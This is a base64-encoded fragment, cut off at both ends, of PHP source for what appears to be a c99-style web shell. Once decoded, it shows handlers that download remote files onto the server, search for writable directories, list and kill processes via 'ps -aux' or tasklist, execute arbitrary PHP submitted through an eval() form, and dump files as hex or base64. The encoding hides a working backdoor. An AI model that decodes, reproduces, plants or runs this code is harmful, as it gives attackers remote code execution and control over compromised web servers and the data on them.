Ii52aWV3X3NpemUoZmlsZXNpemUoJGQuJGFyZzIpKS4iKSI7IH0KICAgICAgZWxzZSB7IGVjaG8gIjxkaXYgY2xhc3M9ZnhlcnJtc2c+Q291bGRuJ3Qgd3JpdGUgdG8gIi4kZC4kYXJnMi4iITwvZGl2PiI7IH0KICAgICAgZmNsb3NlKCRyKTsKICAgIH0KICAgIGVsc2UgeyBlY2hvICI8ZGl2IGNsYXNzPWZ4ZXJybXNnPkNvdWxkbid0IGRvd25sb2FkIGZyb20gJGFyZzEhPC9kaXY+Ijt9CiAgfQogIGVsc2VpZiAoJGZzZnVuYz09J21rZGlyJykgewogICAgJHRoZWRpciA9ICRkLiRhcmcxOwogICAgaWYgKCR0aGVkaXIgIT0gJGQpIHsKICAgICAgaWYgKGZpbGVfZXhpc3RzKCR0aGVkaXIpKSB7IGVjaG8gIjxiPkFscmVhZHkgZXhpc3RzOjwvYj4gIi5odG1sc3BlY2lhbGNoYXJzKCR0aGVkaXIpOyB9CiAgICAgIGVsc2VpZiAoIW1rZGlyKCR0aGVkaXIpKSB7IGVjaG8gIjxiPkFjY2VzcyBkZW5pZWQ6PC9iPiAiLmh0bWxzcGVjaWFsY2hhcnMoJHRoZWRpcik7IH0KICAgICAgZWxzZSB7IGVjaG8gIjxiPkRpciBjcmVhdGVkOjwvYj4gIi5odG1sc3BlY2lhbGNoYXJzKCR0aGVkaXIpO30KICAgIH0KICAgIGVsc2UgeyBlY2hvICJDb3VsZG4ndCBjcmVhdGUgY3VycmVudCBkaXI6PGI+ICR0aGVkaXI8L2I+IjsgfQogIH0KICBlbHNlaWYgKCRmc2Z1bmM9PSdmd3JpdGFibGVkaXInKSB7CiAgICBmdW5jdGlvbiByZWN1cnNlX2RpcigkZGlyLCRtYXhfZGlyKSB7CiAgICAgIGdsb2JhbCAkZGlyX2NvdW50OwogICAgICAkZGlyX2NvdW50Kys7CiAgICAgIGlmKCAkY2RpciA9IEBkaXIoJGRpcikgKSB7CiAgICAgICAgd2hpbGUoICRlbnRyeSA9ICRjZGlyLT4gcmVhZCgpICkgewogICAgICAgICAgaWYoICRlbnRyeSAhPSAnLicgJiYgJGVudHJ5ICE9ICcuLicgKSB7CiAgICAgICAgICAgIGlmKGlzX2RpcigkZGlyLiRlbnRyeSkgJiYgaXNfd3JpdGFibGUoJGRpci4kZW50cnkpICkgewogICAgICAgICAgICAgaWYgKCRkaXJfY291bnQgPiAkbWF4X2RpcikgeyByZXR1cm47IH0KICAgICAgICAgICAgICBlY2hvICJbIi4kZGlyX2NvdW50LiJdICIuJGRpci4kZW50cnkuIlxuIjsKICAgICAgICAgICAgICByZWN1cnNlX2RpcigkZGlyLiRlbnRyeS5ESVJFQ1RPUllfU0VQQVJBVE9SLCRtYXhfZGlyKTsKICAgICAgICAgICAgfQogICAgICAgICAgfQogICAgICAgIH0KICAgICAgICAkY2Rpci0+Y2xvc2UoKTsKICAgICAgfQogICAgfQogICAgaWYgKCEkYXJnMSkgeyAkYXJnMSA9ICRkOyB9CiAgICBpZiAoISRhcmcyKSB7ICRhcmcyID0gMTA7IH0KICAgIGVjaG8gIjxiPldyaXRhYmxlIGRpcmVjdG9yaWVzIChNYXg6ICRhcmcyKSBpbjo8L2I+ICRhcmcxPGJyPiI7CiAgICBlY2hvICI8cHJlPiI7CiAgICByZWN1cnNlX2RpcigkYXJnMSwkYXJnMik7CiAgICBlY2hvICI8L3ByZT4iOwogICAgJHRvdGFsID0gJGRpcl9jb3VudCAtIDE7CiAgICBlY2hvICI8Yj5Gb3VuZHM6PC9iPiAiLiR0b3RhbC4iIG9mIDxiPk1heDwvYj4gJGFyZzIiOwogIH0KICBlbHNlIHsKICAgIGlmICghJGFyZzEpIHsgZWNobyAiPGRpdiBjbGFzcz1meGVycm1zZz5ObyBvcGVyYXRpb24hIFBsZWFzZSBmaWxsIHBhcmFtZXRlciBbQV0hPC9kaXY+XG4iOyB9CiAgICBlbHNlIHsKICAgICAgaWYgKCRoYXNpbCA9ICRmc2Z1bmMoJGFyZzEpKSB7CiAgICAgICAgZWNobyAiPGI+UmVzdWx0IG9mICRmc2Z1bmMgJGFyZzE6PC9iPjxicj4iOwogICAgICAgIGlmICghaXNfYXJyYXkoJGhhc2lsKSkgeyBlY2hvICIkaGFzaWxcbiI7IH0KICAgICAgICBlbHNlIHsKICAgICAgICAgIGVjaG8gIjxwcmU+IjsKICAgICAgICAgIGZvcmVhY2ggKCRoYXNpbCBhcyAkdikgeyBlY2hvICR2LiJcbiI7IH0KICAgICAgICAgIGVjaG8gIjwvcHJlPiI7CiAgICAgICAgfQogICAgICB9CiAgICAgIGVsc2UgeyBlY2hvICI8ZGl2IGNsYXNzPWZ4ZXJybXNnPiRmc2Z1bmMgJGFyZzEgZmFpbGVkITwvZGl2PlxuIjsgfQogICAgfQogIH0KICBlY2hvICI8L2Rpdj5cbiI7Cn0KaWYgKCR4ID09ICJwcm9jZXNzZXMiKSB7CiAgZWNobyAiPGRpdiBjbGFzcz1iYXJoZWFkZXI+LjogUHJvY2Vzc2VzIDouPC9kaXY+IjsKICBpZiAoISR3aW4pIHsgJGhhbmRsZXIgPSAicHMgLWF1eCIuKCRncmVwPyIgfCBncmVwICciLmFkZHNsYXNoZXMoJGdyZXApLiInIjoiIik7IH0KICBlbHNlIHsgJGhhbmRsZXIgPSAidGFza2xpc3QiOyB9CiAgJHJldCA9IG15c2hlbGxleGVjKCRoYW5kbGVyKTsKICBpZiAoISRyZXQpIHsgZWNobyAiQ2FuJ3QgZXhlY3V0ZSBcIiIuJGhhbmRsZXIuIlwiISI7IH0KICBlbHNlIHsKICAgIGlmIChlbXB0eSgkcHJvY2Vzc2VzX3NvcnQpKSB7JHByb2Nlc3Nlc19zb3J0ID0gJHNvcnRfZGVmYXVsdDt9CiAgICAkcGFyc2Vzb3J0ID0gcGFyc2Vzb3J0KCRwcm9jZXNzZXNfc29ydCk7CiAgICBpZiAoIWlzX251bWVyaWMoJHBhcnNlc29ydFswXSkpIHskcGFyc2Vzb3J0WzBdID0gMDt9CiAgICAkayA9ICRwYXJzZXNvcnRbMF07CiAgICBpZiAoJHBhcnNlc29ydFsxXSAhPSAiYSIpIHsKICAgICAgJHkgPSAiPGEgaHJlZj1cIiIuJHN1cmwuIng9Ii4kZHNwYWN0LiImZD0iLnVybGVuY29kZSgkZCkuIiZwcm9jZXNzZXNfc29ydD0iLiRrLiJhXCI+PGltZyBzcmM9XCIiLiRzdXJsLiJ4PWltZyZpbWc9c29ydF9kZXNjXCIgYm9yZGVyPVwiMFwiPjwvYT4iOwogICAgfQogICAgZWxzZSB7CiAgICAgICR5ID0gIjxhIGhyZWY9XCIiLiRzdXJsLiJ4PSIuJGRzcGFjdC4iJmQ9Ii51cmxlbmNvZGUoJGQpLiImcHJvY2Vzc2VzX3NvcnQ9Ii4kay4iZFwiPjxpbWcgc3JjPVwiIi4kc3VybC4ieD1pbWcmaW1nPXNvcnRfYXNjXCIgaGVpZ2h0PVwiOVwiIHdpZHRoPVwiMTRcIiBib3JkZXI9XCIwXCI+PC9hPiI7CiAgICB9CiAgICAkcmV0ID0gaHRtbHNwZWNpYWxjaGFycygkcmV0KTsKICAgIGlmICghJHdpbikgewogICAgICBpZiAoJHBpZCkgewogICAgICAgIGlmIChpc19udWxsKCRzaWcpKSB7JHNpZyA9IDk7fQogICAgICAgIGVjaG8gIlNlbmRpbmcgc2lnbmFsICIuJHNpZy4iIHRvICMiLiRwaWQuIi4uLiAiOwogICAgICAgIGlmIChwb3NpeF9raWxsKCRwaWQsJHNpZykpIHtlY2hvICJPSy4iO30KICAgICAgICBlbHNlIHtlY2hvICJFUlJPUi4iO30KICAgICAgfQogICAgICB3aGlsZSAoZXJlZygiICAiLCRyZXQpKSB7JHJldCA9IHN0cl9yZXBsYWNlKCIgICIsIiAiLCRyZXQpO30KICAgICAgJHN0YWNrID0gZXhwbG9kZSgiXG4iLCRyZXQpOwogICAgICAkaGVhZCA9IGV4cGxvZGUoIiAiLCRzdGFja1swXSk7CiAgICAgIHVuc2V0KCRzdGFja1swXSk7CiAgICAgIGZvcigkaT0wOyRpPGNvdW50KCRoZWFkKTskaSsrKSB7CiAgICAgICAgaWYgKCRpICE9ICRrKSB7JGhlYWRbJGldID0gIjxhIGhyZWY9XCIiLiRzdXJsLiJ4PSIuJGRzcGFjdC4iJmQ9Ii51cmxlbmNvZGUoJGQpLiImcHJvY2Vzc2VzX3NvcnQ9Ii4kaS4kcGFyc2Vzb3J0WzFdLiJcIj48Yj4iLiRoZWFkWyRpXS4iPC9iPjwvYT4iO30KICAgICAgfQogICAgICAkcHJjcyA9IGFycmF5KCk7CiAgICAgIGZvcmVhY2ggKCRzdGFjayBhcyAkbGluZSkgewogICAgICAgIGlmICghZW1wdHkoJGxpbmUpKSB7CiAgICAgICAgICBlY2hvICI8dHI+IjsKICAgICAgICAgICRsaW5lID0gZXhwbG9kZSgiICIsJGxpbmUpOwogICAgICAgICAgJGxpbmVbMTBdID0gam9pbigiICIsYXJyYXlfc2xpY2UoJGxpbmUsMTApKTsKICAgICAgICAgICRsaW5lID0gYXJyYXlfc2xpY2UoJGxpbmUsMCwxMSk7CiAgICAgICAgICBpZiAoJGxpbmVbMF0gPT0gZ2V0X2N1cnJlbnRfdXNlcigpKSB7JGxpbmVbMF0gPSAiPGZvbnQgY29sb3I9Z3JlZW4+Ii4kbGluZVswXS4iPC9mb250PiI7fQogICAgICAgICAgJGxpbmVbXSA9ICI8YSBocmVmPVwiIi4kc3VybC4ieD1wcm9jZXNzZXMmZD0iLnVybGVuY29kZSgkZCkuIiZwaWQ9Ii4kbGluZVsxXS4iJnNpZz05XCI+PHU+S0lMTDwvdT48L2E+IjsKICAgICAgICAgICRwcmNzW10gPSAkbGluZTsKICAgICAgICAgIGVjaG8gIjwvdHI+IjsKICAgICAgICB9CiAgICAgIH0KICAgIH0KICAgIGVsc2UgewogICAgICB3aGlsZSAoZXJlZygiICAiLCRyZXQpKSB7JHJldCA9IHN0cl9yZXBsYWNlKCIgICIsIiAiLCRyZXQpO30KICAgICAgd2hpbGUgKGVyZWcoIj0iLCRyZXQpKSB7JHJldCA9IHN0cl9yZXBsYWNlKCI9IiwiIiwkcmV0KTt9CiAgICAgICRyZXQgPSBjb252ZXJ0X2N5cl9zdHJpbmcoJHJldCwiZCIsInciKTsKICAgICAgJHN0YWNrID0gZXhwbG9kZSgiXG4iLCRyZXQpOwogICAgICB1bnNldCgkc3RhY2tbMF0sJHN0YWNrWzJdKTsKICAgICAgJHN0YWNrID0gYXJyYXlfdmFsdWVzKCRzdGFjayk7CiAgICAgICRzdGFja1swXT1zdHJfcmVwbGFjZSgiSW1hZ2UgTmFtZSIsIkltYWdlTmFtZSIsJHN0YWNrWzBdKTsKICAgICAgJHN0YWNrWzBdPXN0cl9yZXBsYWNlKCJTZXNzaW9uIE5hbWUiLCJTZXNzaW9uTmFtZSIsJHN0YWNrWzBdKTsKICAgICAgJHN0YWNrWzBdPXN0cl9yZXBsYWNlKCJNZW0gVXNhZ2UiLCJNZW1vcnlVc2FnZSIsJHN0YWNrWzBdKTsKICAgICAgJGhlYWQgPSBleHBsb2RlKCIgIiwkc3RhY2tbMF0pOwogICAgICAkc3RhY2sgPSBhcnJheV9zbGljZSgkc3RhY2ssMSk7CiAgICAgICRoZWFkID0gYXJyYXlfdmFsdWVzKCRoZWFkKTsKICAgICAgaWYgKCRwYXJzZXNvcnRbMV0gIT0gImEiKSB7ICR5ID0gIjxhIGhyZWY9XCIiLiRzdXJsLiJ4PSIuJGRzcGFjdC4iJmQ9Ii51cmxlbmNvZGUoJGQpLiImcHJvY2Vzc2VzX3NvcnQ9Ii4kay4iYVwiPjxpbWcgc3JjPVwiIi4kc3VybC4ieD1pbWcmaW1nPXNvcnRfZGVzY1wiIGJvcmRlcj1cIjBcIj48L2E+IjsgfQogICAgICBlbHNlIHsgJHkgPSAiPGEgaHJlZj1cIiIuJHN1cmwuIng9Ii4kZHNwYWN0LiImZD0iLnVybGVuY29kZSgkZCkuIiZwcm9jZXNzZXNfc29ydD0iLiRrLiJkXCI+PGltZyBzcmM9XCIiLiRzdXJsLiJ4PWltZyZpbWc9c29ydF9hc2NcIiBib3JkZXI9XCIwXCI+PC9hPiI7IH0KICAgICAgaWYgKCRrID4gY291bnQoJGhlYWQpKSB7JGsgPSBjb3VudCgkaGVhZCktMTt9CiAgICAgIGZvcigkaT0wOyRpPGNvdW50KCRoZWFkKTskaSsrKSB7CiAgICAgICAgaWYgKCRpICE9ICRrKSB7ICRoZWFkWyRpXSA9ICI8YSBocmVmPVwiIi4kc3VybC4ieD0iLiRkc3BhY3QuIiZkPSIudXJsZW5jb2RlKCRkKS4iJnByb2Nlc3Nlc19zb3J0PSIuJGkuJHBhcnNlc29ydFsxXS4iXCI+PGI+Ii50cmltKCRoZWFkWyRpXSkuIjwvYj48L2E+IjsgfQogICAgICB9CiAgICAgICRwcmNzID0gYXJyYXkoKTsKICAgICAgdW5zZXQoJHN0YWNrWzBdKTsKICAgICAgZm9yZWFjaCAoJHN0YWNrIGFzICRsaW5lKSB7CiAgICAgICAgaWYgKCFlbXB0eSgkbGluZSkpIHsKICAgICAgICAgICRsaW5lID0gZXhwbG9kZSgiICIsJGxpbmUpOwogICAgICAgICAgJGxpbmVbNF0gPSBzdHJfcmVwbGFjZSgiLiIsIiIsJGxpbmVbNF0pOwogICAgICAgICAgJGxpbmVbNF0gPSBpbnR2YWwoJGxpbmVbNF0pICogMTAyNDsKICAgICAgICAgIHVuc2V0KCRsaW5lWzVdKTsKICAgICAgICAgICRwcmNzW10gPSAkbGluZTsKICAgICAgICB9CiAgICAgIH0KICAgIH0KICAgICRoZWFkWyRrXSA9ICI8Yj4iLiRoZWFkWyRrXS4iPC9iPiIuJHk7CiAgICAkdiA9ICRwcm9jZXNzZXNfc29ydFswXTsKICAgIHVzb3J0KCRwcmNzLCJ0YWJzb3J0Iik7CiAgICBpZiAoJHByb2Nlc3Nlc19zb3J0WzFdID09ICJkIikgeyRwcmNzID0gYXJyYXlfcmV2ZXJzZSgkcHJjcyk7fQogICAgJHRhYiA9IGFycmF5KCk7CiAgICAkdGFiW10gPSAkaGVhZDsKICAgICR0YWIgPSBhcnJheV9tZXJnZSgkdGFiLCRwcmNzKTsKICAgIGVjaG8gIjx0YWJsZSBjbGFzcz1leHBsb3Jlcj4iOwogICAgZm9yZWFjaCgkdGFiIGFzICRpPT4kaykgewogICAgICBlY2hvICI8dHI+IjsKICAgICAgZm9yZWFjaCgkayBhcyAkaj0+JHYpIHsKICAgICAgICBpZiAoJHdpbiBhbmQgJGkgPiAwIGFuZCAkaiA9PSA0KSB7JHYgPSB2aWV3X3NpemUoJHYpO30KICAgICAgICBlY2hvICI8dGQ+Ii4kdi4iPC90ZD4iOwogICAgICB9CiAgICAgIGVjaG8gIjwvdHI+IjsKICAgIH0KICAgIGVjaG8gIjwvdGFibGU+IjsKICB9Cn0KaWYgKCR4ID09ICJldmFsIikgewogIGlmICghZW1wdHkoJGV2YWwpKSB7CiAgICBlY2hvICJSZXN1bHQgb2YgZXhlY3V0aW9uIHRoaXMgUEhQLWNvZGU6PGJyPiI7CiAgICAkdG1wID0gb2JfZ2V0X2NvbnRlbnRzKCk7CiAgICAkb2xkZGlyID0gcmVhbHBhdGgoIi4iKTsKICAgIEBjaGRpcigkZCk7CiAgICBpZiAoJHRtcCkgewogICAgICBvYl9jbGVhbigpOwogICAgICBldmFsKCRldmFsKTsKICAgICAgJHJldCA9IG9iX2dldF9jb250ZW50cygpOwogICAgICAkcmV0ID0gY29udmVydF9jeXJfc3RyaW5nKCRyZXQsImQiLCJ3Iik7CiAgICAgIG9iX2NsZWFuKCk7CiAgICAgIGVjaG8gJHRtcDsKICAgICAgaWYgKCRldmFsX3R4dCkgewogICAgICAgICRyb3dzID0gY291bnQoZXhwbG9kZSgiXHJcbiIsJHJldCkpKzE7CiAgICAgICAgaWYgKCRyb3dzIDwgMTApIHskcm93cyA9IDEwO30KICAgICAgICBlY2hvICI8YnI+PHRleHRhcmVhIGNvbHM9XCIxMjJcIiByb3dzPVwiIi4kcm93cy4iXCIgcmVhZG9ubHk+Ii5odG1sc3BlY2lhbGNoYXJzKCRyZXQpLiI8L3RleHRhcmVhPiI7CiAgICAgIH0KICAgICAgZWxzZSB7ZWNobyAkcmV0LiI8YnI+Ijt9CiAgICB9CiAgICBlbHNlIHsKICAgICAgaWYgKCRldmFsX3R4dCkgewogICAgICAgIGVjaG8gIjxicj48dGV4dGFyZWEgY29scz1cIjEyMlwiIHJvd3M9XCIxNVwiIHJlYWRvbmx5PiI7CiAgICAgICAgZXZhbCgkZXZhbCk7CiAgICAgICAgZWNobyAiPC90ZXh0YXJlYT4iOwogICAgICB9CiAgICAgIGVsc2Uge2VjaG8gJHJldDt9CiAgICB9CiAgICBAY2hkaXIoJG9sZGRpcik7CiAgfQogIGVsc2Uge2VjaG8gIjxiPlBIUC1jb2RlIEV4ZWN1dGlvbiAoVXNlIHdpdGhvdXQgUEhQIEJyYWNlcyEpPC9iPiI7IGlmIChlbXB0eSgkZXZhbF90eHQpKSB7JGV2YWxfdHh0ID0gVFJVRTt9fQogIGVjaG8gIjxmb3JtIGFjdGlvbj1cIiIuJHN1cmwuIlwiIG1ldGhvZD1QT1NUPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXggdmFsdWU9ZXZhbD48dGV4dGFyZWEgbmFtZT1cImV2YWxcIiBjb2xzPVwiMTIyXCIgcm93cz1cIjEwXCI+Ii5odG1sc3BlY2lhbGNoYXJzKCRldmFsKS4iPC90ZXh0YXJlYT48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1cImRcIiB2YWx1ZT1cIiIuJGRpc3BkLiJcIj48YnI+PGJyPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT1cIkV4ZWN1dGVcIj4mbmJzcDtEaXNwbGF5IGluIHRleHQtYXJlYSZuYnNwOzxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwiZXZhbF90eHRcIiB2YWx1ZT1cIjFcIiI7IGlmICgkZXZhbF90eHQpIHtlY2hvICIgY2hlY2tlZCI7fSBlY2hvICI+PC9mb3JtPiI7Cn0KaWYgKCR4ID09ICJmIikgewogIGVjaG8gIjxkaXYgYWxpZ249bGVmdD4iOwogIGlmICgoIWlzX3JlYWRhYmxlKCRkLiRmKSBvciBpc19kaXIoJGQuJGYpKSBhbmQgJGZ0ICE9ICJlZGl0IikgewogICAgaWYgKGZpbGVfZXhpc3RzKCRkLiRmKSkge2VjaG8gIjxjZW50ZXI+PGI+UGVybWlzaW9uIGRlbmllZCAoIi5odG1sc3BlY2lhbGNoYXJzKCRkLiRmKS4iKSE8L2I+PC9jZW50ZXI+Ijt9CiAgICBlbHNlIHtlY2hvICI8Y2VudGVyPjxiPkZpbGUgZG9lcyBub3QgZXhpc3RzICgiLmh0bWxzcGVjaWFsY2hhcnMoJGQuJGYpLiIpITwvYj48YnI+PGEgaHJlZj1cIiIuJHN1cmwuIng9ZiZmPSIudXJsZW5jb2RlKCRmKS4iJmZ0PWVkaXQmZD0iLnVybGVuY29kZSgkZCkuIiZjPTFcIj48dT5DcmVhdGU8L3U+PC9hPjwvY2VudGVyPiI7fQogIH0KICBlbHNlIHsKICAgICRyID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRkLiRmKTsKICAgICRleHQgPSBleHBsb2RlKCIuIiwkZik7CiAgICAkYyA9IGNvdW50KCRleHQpLTE7CiAgICAkZXh0ID0gJGV4dFskY107CiAgICAkZXh0ID0gc3RydG9sb3dlcigkZXh0KTsKICAgICRyZnQgPSAiIjsKICAgIGZvcmVhY2goJGZ0eXBlcyBhcyAkaz0+JHYpIHtpZiAoaW5fYXJyYXkoJGV4dCwkdikpIHskcmZ0ID0gJGs7IGJyZWFrO319CiAgICBpZiAoZXJlZ2koInNlc3NfKC4qKSIsJGYpKSB7JHJmdCA9ICJwaHBzZXNzIjt9CiAgICBpZiAoZW1wdHkoJGZ0KSkgeyRmdCA9ICRyZnQ7fQogICAgJGFyciA9IGFycmF5KAogICAgICAgIGFycmF5KCJpbmZvIiwiaW5mbyIpLAogICAgICAgIGFycmF5KCJodG1sIiwiaHRtbCIpLAogICAgICAgIGFycmF5KCJ0eHQiLCJ0eHQiKSwKICAgICAgICBhcnJheSgiQ29kZSIsImNvZGUiKSwKICAgICAgICBhcnJheSgiU2Vzc2lvbiIsInBocHNlc3MiKSwKICAgICAgICBhcnJheSgiZXhlIiwiZXhlIiksCiAgICAgICAgYXJyYXkoIlNEQiIsInNkYiIpLAogICAgICAgIGFycmF5KCJpbWciLCJpbWciKSwKICAgICAgICBhcnJheSgiaW5pIiwiaW5pIiksCiAgICAgICAgYXJyYXkoImRvd25sb2FkIiwiZG93bmxvYWQiKSwKICAgICAgICBhcnJheSgibm90ZXBhZCIsIm5vdGVwYWQiKSwKICAgICAgICBhcnJheSgiZWRpdCIsImVkaXQiKQogICAgKTsKICAgIGVjaG8gIjxiPlZpZXdpbmcgZmlsZTombmJzcDsmbmJzcDsmbmJzcDsmbmJzcDs8aW1nIHNyYz1cIiIuJHN1cmwuIng9aW1nJmltZz1leHRfIi4kZXh0LiJcIiBib3JkZXI9XCIwXCI+Jm5ic3A7Ii4kZi4iICgiLnZpZXdfc2l6ZShmaWxlc2l6ZSgkZC4kZikpLiIpICZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyIudmlld19wZXJtc19jb2xvcigkZC4kZikuIjwvYj48YnI+U2VsZWN0IGFjdGlvbi9maWxlLXR5cGU6PGJyPiI7CiAgICBmb3JlYWNoKCRhcnIgYXMgJHQpIHsKICAgICAgaWYgKCR0WzFdID09ICRyZnQpIHtlY2hvICIgPGEgaHJlZj1cIiIuJHN1cmwuIng9ZiZmPSIudXJsZW5jb2RlKCRmKS4iJmZ0PSIuJHRbMV0uIiZkPSIudXJsZW5jb2RlKCRkKS4iXCI+PGZvbnQgY29sb3I9Z3JlZW4+Ii4kdFswXS4iPC9mb250PjwvYT4iO30KICAgICAgZWxzZWlmICgkdFsxXSA9PSAkZnQpIHtlY2hvICIgPGEgaHJlZj1cIiIuJHN1cmwuIng9ZiZmPSIudXJsZW5jb2RlKCRmKS4iJmZ0PSIuJHRbMV0uIiZkPSIudXJsZW5jb2RlKCRkKS4iXCI+PGI+PHU+Ii4kdFswXS4iPC91PjwvYj48L2E+Ijt9CiAgICAgIGVsc2Uge2VjaG8gIiA8YSBocmVmPVwiIi4kc3VybC4ieD1mJmY9Ii51cmxlbmNvZGUoJGYpLiImZnQ9Ii4kdFsxXS4iJmQ9Ii51cmxlbmNvZGUoJGQpLiJcIj48Yj4iLiR0WzBdLiI8L2I+PC9hPiI7fQogICAgICBlY2hvICIgKDxhIGhyZWY9XCIiLiRzdXJsLiJ4PWYmZj0iLnVybGVuY29kZSgkZikuIiZmdD0iLiR0WzFdLiImd2hpdGU9MSZkPSIudXJsZW5jb2RlKCRkKS4iXCIgdGFyZ2V0PVwiX2JsYW5rXCI+KzwvYT4pIHwiOwogICAgfQogICAgZWNobyAiPGhyIHNpemU9XCIxXCIgbm9zaGFkZT4iOwogICAgaWYgKCRmdCA9PSAiaW5mbyIpIHsKICAgICAgZWNobyAiPGI+SW5mb3JtYXRpb246PC9iPjx0YWJsZSBib3JkZXI9MCBjZWxsc3BhY2luZz0xIGNlbGxwYWRkaW5nPTI+PHRyPjx0ZD48Yj5QYXRoPC9iPjwvdGQ+PHRkPiAiLiRkLiRmLiI8L3RkPjwvdHI+PHRyPjx0ZD48Yj5TaXplPC9iPjwvdGQ+PHRkPiAiLnZpZXdfc2l6ZShmaWxlc2l6ZSgkZC4kZikpLiI8L3RkPjwvdHI+PHRyPjx0ZD48Yj5NRDU8L2I+PC90ZD48dGQ+ICIubWQ1X2ZpbGUoJGQuJGYpLiI8L3RkPjwvdHI+IjsKICAgICAgaWYgKCEkd2luKSB7CiAgICAgICAgZWNobyAiPHRyPjx0ZD48Yj5Pd25lci9Hcm91cDwvYj48L3RkPjx0ZD4gIjsKICAgICAgICAkb3cgPSBwb3NpeF9nZXRwd3VpZChmaWxlb3duZXIoJGQuJGYpKTsKICAgICAgICAkZ3IgPSBwb3NpeF9nZXRncmdpZChmaWxlZ3JvdXAoJGQuJGYpKTsKICAgICAgICBlY2hvICgkb3dbIm5hbWUiXT8kb3dbIm5hbWUiXTpmaWxlb3duZXIoJGQuJGYpKS4iLyIuKCRnclsibmFtZSJdPyRnclsibmFtZSJdOmZpbGVncm91cCgkZC4kZikpOwogICAgICB9CiAgICAgIGVjaG8gIjx0cj48dGQ+PGI+UGVybXM8L2I+PC90ZD48dGQ+PGEgaHJlZj1cIiIuJHN1cmwuIng9Y2htb2QmZj0iLnVybGVuY29kZSgkZikuIiZkPSIudXJsZW5jb2RlKCRkKS4iXCI+Ii52aWV3X3Blcm1zX2NvbG9yKCRkLiRmKS4iPC9hPjwvdGQ+PC90cj48dHI+PHRkPjxiPkNyZWF0ZSB0aW1lPC9iPjwvdGQ+PHRkPiAiLmRhdGUoImQvbS9ZIEg6aTpzIixmaWxlY3RpbWUoJGQuJGYpKS4iPC90ZD48L3RyPjx0cj48dGQ+PGI+QWNjZXNzIHRpbWU8L2I+PC90ZD48dGQ+ICIuZGF0ZSgiZC9tL1kgSDppOnMiLGZpbGVhdGltZSgkZC4kZikpLiI8L3RkPjwvdHI+PHRyPjx0ZD48Yj5NT0RJRlkgdGltZTwvYj48L3RkPjx0ZD4gIi5kYXRlKCJkL20vWSBIOmk6cyIsZmlsZW10aW1lKCRkLiRmKSkuIjwvdGQ+PC90cj48L3RhYmxlPiI7CiAgICAgICRmaSA9IGZvcGVuKCRkLiRmLCJyYiIpOwogICAgICBpZiAoJGZpKSB7CiAgICAgICAgaWYgKCRmdWxsaGV4ZHVtcCkge2VjaG8gIjxiPkZVTEwgSEVYRFVNUDwvYj4iOyAkc3RyID0gZnJlYWQoJGZpLGZpbGVzaXplKCRkLiRmKSk7fQogICAgICAgIGVsc2Uge2VjaG8gIjxiPkhFWERVTVAgUFJFVklFVzwvYj4iOyAkc3RyID0gZnJlYWQoJGZpLCRoZXhkdW1wX2xpbmVzKiRoZXhkdW1wX3Jvd3MpO30KICAgICAgICAkbiA9IDA7CiAgICAgICAgJGEwID0gIjAwMDAwMDAwPGJyPiI7CiAgICAgICAgJGExID0gIiI7CiAgICAgICAgJGEyID0gIiI7CiAgICAgICAgZm9yICgkaT0wOyAkaTxzdHJsZW4oJHN0cik7ICRpKyspIHsKICAgICAgICAgICRhMSAuPSBzcHJpbnRmKCIlMDJYIixvcmQoJHN0clskaV0pKS4iICI7CiAgICAgICAgICBzd2l0Y2ggKG9yZCgkc3RyWyRpXSkpIHsKICAgICAgICAgICAgY2FzZSAwOiAgJGEyIC49ICI8Zm9udD4wPC9mb250PiI7IGJyZWFrOwogICAgICAgICAgICBjYXNlIDMyOgogICAgICAgICAgICBjYXNlIDEwOgogICAgICAgICAgICBjYXNlIDEzOiAkYTIgLj0gIiZuYnNwOyI7IGJyZWFrOwogICAgICAgICAgICBkZWZhdWx0OiAkYTIgLj0gaHRtbHNwZWNpYWxjaGFycygkc3RyWyRpXSk7CiAgICAgICAgICB9CiAgICAgICAgICAkbisrOwogICAgICAgICAgaWYgKCRuID09ICRoZXhkdW1wX3Jvd3MpIHsKICAgICAgICAgICAgJG4gPSAwOwogICAgICAgICAgICBpZiAoJGkrMSA8IHN0cmxlbigkc3RyKSkgeyRhMCAuPSBzcHJpbnRmKCIlMDhYIiwkaSsxKS4iPGJyPiI7fQogICAgICAgICAgICAkYTEgLj0gIjxicj4iOwogICAgICAgICAgICAkYTIgLj0gIjxicj4iOwogICAgICAgICAgfQogICAgICAgIH0KICAgICAgICBlY2hvICI8dGFibGUgYm9yZGVyPTEgYmdjb2xvcj0jNjY2NjY2PiIuCiAgICAgICAgICAgICAiPHRyPjx0ZCBiZ2NvbG9yPSM2NjY2NjY+Ii4kYTAuIjwvdGQ+Ii4KICAgICAgICAgICAgICI8dGQgYmdjb2xvcj0jMDAwMDAwPiIuJGExLiI8L3RkPiIuCiAgICAgICAgICAgICAiPHRkIGJnY29sb3I9IzAwMDAwMD4iLiRhMi4iPC90ZD4iLgogICAgICAgICAgICAgIjwvdHI+PC90YWJsZT48YnI+IjsKICAgICAgfQogICAgICAkZW5jb2RlZCA9ICIiOwogICAgICBpZiAoJGJhc2U2NCA9PSAxKSB7CiAgICAgICAgZWNobyAiPGI+QmFzZTY0IEVuY29kZTwvYj48YnI+IjsKICAgICAgICAkZW5jb2RlZCA9IGJhc2U2NF9lbmNvZGUoZmlsZV9nZXRfY29udGVudHMoJGQuJGYpKTsKICAgICAgfQogICAgICBlbHNlaWYoJGJhc2U2NCA9PSAyKSB7CiAgICAgICAgZWNobyAiPGI+QmFzZTY0IEVuY29kZSArIENodW5rPC9iPjxicj4iOwogICAgICAgICRlbmNvZGVkID0gY2h1bmtfc3BsaXQoYmFzZTY0X2VuY29kZShmaWxlX2dldF9jb250ZW50cygkZC4kZikpKTsKICAgICAgfQogICAgICBlbHNlaWYoJGJhc2U2NCA9PSAzKSB7CiAgICAgICAgZWNobyAiPGI+QmFzZTY0IEVuY29kZSArIENodW5rICsgUXVvdGVzPC9iPjxicj4iOwogICAgICAgICRlbmNvZGVkID0gYmFzZTY0X2VuY29kZShmaWxlX2dldF9jb250ZW50cygkZC4kZikpOwogICAgICAgICRlbmNvZGVkID0gc3Vic3RyKHByZWdfcmVwbGFjZSgiIS57MSw3Nn0hIiwiJ1xcMCcuXG4iLCRlbmNvZGVkKSwwLC0yKTsKICAgICAgf